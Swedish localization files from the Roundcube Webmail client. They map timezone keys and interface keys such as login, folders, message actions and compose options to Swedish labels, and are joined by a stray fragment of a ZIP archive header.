$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico City';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'North Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarktis';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arktis';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asien';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damascus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seoul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapore';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Tehran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantisk';
$labels['tz:atlantic:azores'] = 'Azorerna';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Kanarieöarna';
$labels['tz:atlantic:cape_verde'] = 'Cap Verde';
$labels['tz:atlantic:faroe'] = 'Färöarna';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'South Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australien';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Aten';
$labels['tz:europe:belgrade'] = 'Belgrad';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Bryssel';
$labels['tz:europe:bucharest'] = 'Bucharest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Köpenhamn';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsingfors';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lissabon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Luxenburg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monaco';
$labels['tz:europe:moscow'] = 'Moskva';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prag';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rom';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatikanen';
$labels['tz:europe:vienna'] = 'Wien';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Warszawa ';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zürich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldiverna';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Stilla havet';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\�v>�>�%program/localization/sv_SE/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Välkommen till $product';
$labels['username'] = 'Användarnamn';
$labels['password'] = 'Lösenord';
$labels['server'] = 'Server';
$labels['login'] = 'Logga in';
$labels['oauthlogin'] = 'Logga in med $provider';
$labels['menu'] = 'Meny';
$labels['logout'] = 'Logga ut';
$labels['mail'] = 'Meddelanden';
$labels['settings'] = 'Inställningar';
$labels['addressbook'] = 'Adressbok';
$labels['darkmode'] = 'Mörkt läge';
$labels['lightmode'] = 'Ljust läge';
$labels['inbox'] = 'Inkorg';
$labels['drafts'] = 'Utkast';
$labels['sent'] = 'Skickat';
$labels['trash'] = 'Papperskorg';
$labels['junk'] = 'Skräp';
$labels['show_real_foldernames'] = 'Visa verkliga namn på särskilda mappar';
$labels['subject'] = 'Ämne';
$labels['from'] = 'Från';
$labels['sender'] = 'Avsändare';
$labels['to'] = 'Mottagare';
$labels['cc'] = 'Kopia';
$labels['bcc'] = 'Dold kopia';
$labels['replyto'] = 'Svar till';
$labels['followupto'] = 'Uppföljning till';
$labels['date'] = 'Datum';
$labels['size'] = 'Storlek';
$labels['priority'] = 'Prioritet';
$labels['organization'] = 'Organisation';
$labels['readstatus'] = 'Lässtatus';
$labels['listoptions'] = 'Listalternativ...';
$labels['listoptionstitle'] = 'Listalternativ';
$labels['mailboxlist'] = 'Mappar';
$labels['messagesfromto'] = 'Meddelande $from till $to av $count';
$labels['threadsfromto'] = 'Tråd $from till $to av $count';
$labels['messagenrof'] = 'Meddelande $nr av $count';
$labels['fromtoshort'] = '$from – $to av $count';
$labels['copy'] = 'Kopiera';
$labels['move'] = 'Flytta';
$labels['moveto'] = 'Flytta till...';
$labels['copyto'] = 'Kopiera till...';
$labels['download'] = 'Hämta';
$labels['open'] = 'Öppna';
$labels['showattachment'] = 'Visa';
$labels['showanyway'] = 'Visa det ändå';
$labels['filename'] = 'Filnamn';
$labels['filesize'] = 'Filstorlek';
$labels['addtoaddressbook'] = 'Lägg till i adressbok';
$labels['sun'] = 'sön';
$labels['mon'] = 'mån';
$labels['tue'] = 'tis';
$labels['wed'] = 'ons';
$labels['thu'] = 'tor';
$labels['fri'] = 'fre';
$labels['sat'] = 'lör';
$labels['sunday'] = 'söndag';
$labels['monday'] = 'måndag';
$labels['tuesday'] = 'tisdag';
$labels['wednesday'] = 'onsdag';
$labels['thursday'] = 'torsdag';
$labels['friday'] = 'fredag';
$labels['saturday'] = 'lördag';
$labels['jan'] = 'jan';
$labels['feb'] = 'feb';
$labels['mar'] = 'mar';
$labels['apr'] = 'apr';
$labels['may'] = 'maj';
$labels['jun'] = 'jun';
$labels['jul'] = 'jul';
$labels['aug'] = 'aug';
$labels['sep'] = 'sep';
$labels['oct'] = 'okt';
$labels['nov'] = 'nov';
$labels['dec'] = 'dec';
$labels['longjan'] = 'januari';
$labels['longfeb'] = 'februari';
$labels['longmar'] = 'mars';
$labels['longapr'] = 'april';
$labels['longmay'] = 'maj';
$labels['longjun'] = 'juni';
$labels['longjul'] = 'juli';
$labels['longaug'] = 'augusti';
$labels['longsep'] = 'september';
$labels['longoct'] = 'oktober';
$labels['longnov'] = 'november';
$labels['longdec'] = 'december';
$labels['today'] = 'idag';
$labels['refresh'] = 'Uppdatera';
$labels['checkmail'] = 'Hämta nya meddelanden';
$labels['compose'] = 'Skriv';
$labels['writenewmessage'] = 'Skapa ett nytt meddelande';
$labels['reply'] = 'Svara';
$labels['replytomessage'] = 'Svara avsändaren';
$labels['replytoallmessage'] = 'Svara avsändaren och alla mottagare';
$labels['replyall'] = 'Svara alla';
$labels['replylist'] = 'Svara lista';
$labels['forward'] = 'Vidarebefordra';
$labels['forwardinline'] = 'Vidarebefordra infogat';
$labels['forwardattachment'] = 'Vidarebefordra som bilaga';
$labels['forwardmessage'] = 'Vidarebefordra meddelandet';
$labels['bouncemsg'] = 'Skicka igen (studsa)';
$labels['bounce'] = 'Skicka igen';
$labels['deletemessage'] = 'Ta bort meddelandet';
$labels['movemessagetotrash'] = 'Flytta meddelandet till Papperskorg';
$labels['printmessage'] = 'Skriv ut det här meddelandet';
$labels['previousmessage'] = 'Visa föregående meddelande';
$labels['firstmessage'] = 'Visa första meddelandet';
$labels['nextmessage'] = 'Visa nästa meddelande';
$labels['lastmessage'] = 'Visa sista meddelandet';
$labels['backtolist'] = 'Bakåt till meddelandelistan';
$labels['viewsource'] = 'Visa källkod';
$labels['mark'] = 'Markera';
$labels['markmessages'] = 'Markera meddelanden';
$labels['markread'] = 'Läst';
$labels['markunread'] = 'Oläst';
$labels['markflagged'] = 'Flaggat';
$labels['markunflagged'] = 'Oflaggat';
$labels['markundeleted'] = 'Inte borttaget';
$labels['moreactions'] = 'Fler åtgärder...';
$labels['markallread'] = 'Markera alla som lästa';
$labels['folders-cur'] = 'Markerad mapp';
$labels['folders-sub'] = 'Markerad mapp med undermappar';
$labels['folders-all'] = 'Alla mappar';
$labels['more'] = 'Fler';
$labels['back'] = 'Bakåt';
$labels['options'] = 'Alternativ';
$labels['composeoptions'] = 'Skapandeinställningar';
$labels['optionsandattachments'] = 'Alternativ och bilagor';
$labels['actions'] = 'Funktioner';
$labels['first'] = 'Första';
$labels['last'] = 'Sista';
$labels['previous'] = 'Föregående';
$labels['next'] = 'Nästa';
$labels['select'] = 'Välj';
$labels['selection'] = 'Markering';
$labels['all'] = 'Alla';
$labels['none'] = 'Inga';
$labels['currpage'] = 'Aktuell sida';
$labels['isread'] = 'Läst';
$labels['unread'] = 'Olästa';
$labels['flagged'] = 'Flaggade';
$labels['unflagged'] = 'Inte flaggat';
$labels['unanswered'] = 'Obesvarade';
$labels['withattachment'] = 'Med bilaga';
$labels['deleted'] = 'Borttagna';
$labels['undeleted'] = 'Inte borttagna';
$labels['replied'] = 'Besvarat';
$labels['forwarded'] = 'Vidareskickat';
$labels['invert'] = 'Invertera';
$labels['filter'] = 'Filter';
$labels['list'] = 'Lista';
$labels['threads'] = 'Trådar';
$labels['expand-all'] = 'Visa alla';
$labels['expand-unread'] = 'Visa olästa';
$labels['collapse-all'] = 'Dölj alla';
$labels['threaded'] = 'Trådat';
$labels['showunread'] = 'Visa olästa meddelanden';
$labels['autoexpand_threads'] = 'Visa trådade meddelanden';
$labels['do_expand'] = 'Alla trådar';
$labels['expand_only_unread'] = 'Trådar med olästa meddelanden';
$labels['fromto'] = 'Från/Till';
$labels['flag'] = 'Flagga';
$labels['attachment'] = 'Bilaga';
$labels['nonesort'] = 'Ingen';
$labels['sentdate'] = 'Datum skickat';
$labels['arrival'] = 'Datum mottaget';
$labels['asc'] = 'Stigande';
$labels['desc'] = 'Fallande';
$labels['listcolumns'] = 'Kolumner';
$labels['listsorting'] = 'Sortering';
$labels['listorder'] = 'Ordning';
$labels['listmode'] = 'Visningsläge';
$labels['lmode'] = 'Listläge';
$labels['layout'] = 'Layout';
$labels['layoutwidescreen'] = 'Bred skärm';
$labels['layoutdesktop'] = 'Skrivbord';
$labels['layoutlist'] = 'Lista';
$labels['layoutwidescreendesc'] = 'Bred skärm (visning i 3 kolumner)';
$labels['layoutdesktopdesc'] = 'Skrivbord (bred lista med förhandsvisning nedanför)';
$labels['layoutlistdesc'] = 'Lista (utan förhandsvisning)';
$labels['folderactions'] = 'Mappåtgärder...';
$labels['compact'] = 'Packa';
$labels['empty'] = 'Töm';
$labels['importmessages'] = 'Importera meddelanden';
$labels['mailimportdesc'] = 'Meddelanden kan laddas upp från filer i formatet <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> eller formatet <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Flera filer kan komprimeras till zip-arkiv.';
$labels['quota'] = 'Diskutrymme';
$labels['unknown'] = 'okänt';
$labels['unlimited'] = 'obegränsat';
$labels['quotatype'] = 'Typ av kvot';
$labels['quotatotal'] = 'Gräns';
$labels['quotaused'] = 'Utnyttjad';
$labels['quotastorage'] = 'Storlek';
$labels['quotamessage'] = 'Antal meddelanden';
$labels['shortheaderdate'] = 'På $date';
$labels['shortheaderto'] = 'Till $to på $date';
$labels['shortheaderfrom'] = 'Från $from på $date';
$labels['quicksearch'] = 'Snabbsök';
$labels['searchplaceholder'] = 'Sök...';
$labels['resetsearch'] = 'Återställ sökning';
$labels['searchmod'] = 'Sökalternativ';
$labels['msgtext'] = 'Hela meddelandet';
$labels['body'] = 'Innehåll';
$labels['type'] = 'Typ';
$labels['namex'] = 'Namn';
$labels['searchscope'] = 'Sökomfattning';
$labels['currentfolder'] = 'Aktuell mapp';
$labels['subfolders'] = 'Denna och undermappar';
$labels['allfolders'] = 'Alla mappar';
$labels['searchinterval-1W'] = 'äldre än en vecka';
$labels['searchinterval-1M'] = 'äldre än en månad';
$labels['searchinterval-1Y'] = 'äldre än ett år';
$labels['searchinterval1W'] = 'nyare än en vecka';
$labels['searchinterval1M'] = 'nyare än en månad';
$labels['searchinterval1Y'] = 'nyare än ett år';
$labels['openinextwin'] = 'Öppna i nytt fönster';
$labels['emlsave'] = 'Hämta';
$labels['changeformattext'] = 'Visa i text-format';
$labels['changeformathtml'] = 'Visa i HTML-format';
$labels['editasnew'] = 'Redigera som nytt';
$labels['send'] = 'Skicka';
$labels['sendmessage'] = 'Skicka meddelande';
$labels['savemessage'] = 'Spara utkast';
$labels['addattachment'] = 'Bifoga fil';
$labels['charset'] = 'Teckenkodning';
$labels['editortype'] = 'Textredigerare';
$labels['returnreceipt'] = 'Mottagarkvitto';
$labels['dsn'] = 'Leveransstatusmeddelande';
$labels['keepformatting'] = 'Behåll formatering';
$labels['mailreplyintro'] = '$date skrev $sender:';
$labels['originalmessage'] = 'Ursprungligt meddelande';
$labels['selectimage'] = 'Välj bild';
$labels['addimage'] = 'Lägg till bild';
$labels['selectmedia'] = 'Välj film';
$labels['addmedia'] = 'Lägg till film';
$labels['encrypt'] = 'Kryptera';
$labels['encryptmessage'] = 'Kryptera meddelande';
$labels['encryptmessagemailvelope'] = 'Kryptera meddelande med Mailvelope';
$labels['importpubkeys'] = 'Importera offentliga nycklar';
$labels['encryptedsendialog'] = 'Skickar krypterat meddelande';
$labels['encryptandsign'] = 'Kryptera och signera';
$labels['keyid'] = 'Nyckel-ID';
$labels['keylength'] = 'Bitar';
$labels['keyexpired'] = 'Utgången';
$labels['keyrevoked'] = 'Upphävd';
$labels['bccinstead'] = 'Använd Dold kopia';
$labels['addheader'] = 'Lägg till mottagare (meddelandeinfo)';
$labels['insert'] = 'Infoga';
$labels['insertcontact'] = 'Infoga kontakt(er)';
$labels['recipient'] = 'Mottagare';
$labels['recipientedit'] = 'Ändra mottagare';
$labels['editidents'] = 'Ändra identiteter';
$labels['spellcheck'] = 'Rättstava';
$labels['checkspelling'] = 'Kontrollera stavning';
$labels['resumeediting'] = 'Återuppta redigering';
$labels['revertto'] = 'Återgå till';
$labels['restore'] = 'Återskapa';
$labels['restoremessage'] = 'Återskapa meddelande?';
$labels['ignore'] = 'Ignorera';
$labels['responses'] = 'Responser';
$labels['insertresponse'] = 'Infoga respons';
$labels['manageresponses'] = 'Hantera responser';
$labels['newresponse'] = 'Ny respons';
$labels['addresponse'] = 'Lägg till respons';
$labels['editresponse'] = 'Ändra respons';
$labels['editresponses'] = 'Ändra responser';
$labels['responsename'] = 'Responsnamn';
$labels['responsetext'] = 'Responstext';
$labels['attach'] = 'Bifoga';
$labels['attachments'] = 'Bilagor';
$labels['upload'] = 'Bifoga';
$labels['uploadprogress'] = '$percent ($current av $total)';
$labels['close'] = 'Stäng';
$labels['messageoptions'] = 'Meddelandealternativ...';
$labels['togglecomposeoptions'] = 'Växla skapandeinställningar';
$labels['attachmentrename'] = 'Ändra bilagans namn';
$labels['low'] = 'Låg';
$labels['lowest'] = 'Lägst';
$labels['normal'] = 'Normal';
$labels['high'] = 'Hög';
$labels['highest'] = 'Högst';
$labels['nosubject'] = '(inget ämne)';
$labels['showimages'] = 'Visa bilder';
$labels['allow'] = 'Tillåt';
$labels['alwaysshow'] = 'Visa alltid bilder från $sender';
$labels['alwaysallow'] = 'Tillåt alltid från $sender';
$labels['isdraft'] = 'Detta meddelande är ett utkast.';
$labels['andnmore'] = '$nr fler...';
$labels['details'] = 'Detaljerad information';
$labels['summary'] = 'Sammanfattning';
$labels['headers'] = 'Meddelandeinfo';
$labels['allheaders'] = 'All meddelandeinfo...';
$labels['togglemoreheaders'] = 'Växla ytterligare meddelandeinfo';
$labels['togglefullheaders'] = 'Växla teknisk meddelandeinfo';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Oformatterad text';
$labels['savesentmessagein'] = 'Spara skickat meddelande i';
$labels['dontsave'] = 'Spara inte';
$labels['maxuploadsize'] = 'Tillåten filstorlek är $size';
$labels['addcc'] = 'Kopia';
$labels['addbcc'] = 'Dold kopia';
$labels['addreplyto'] = 'Svar till';
$labels['addfollowupto'] = 'Uppföljning till';
$labels['sendreceipt'] = 'Skicka läskvitto?';
$labels['mdnrequest'] = 'Avsändaren har begärt mottagarkvitto för det här meddelandet. Vill du skicka ett mottagarkvitto?';
$labels['receiptread'] = 'Mottagarkvitto (läst)';
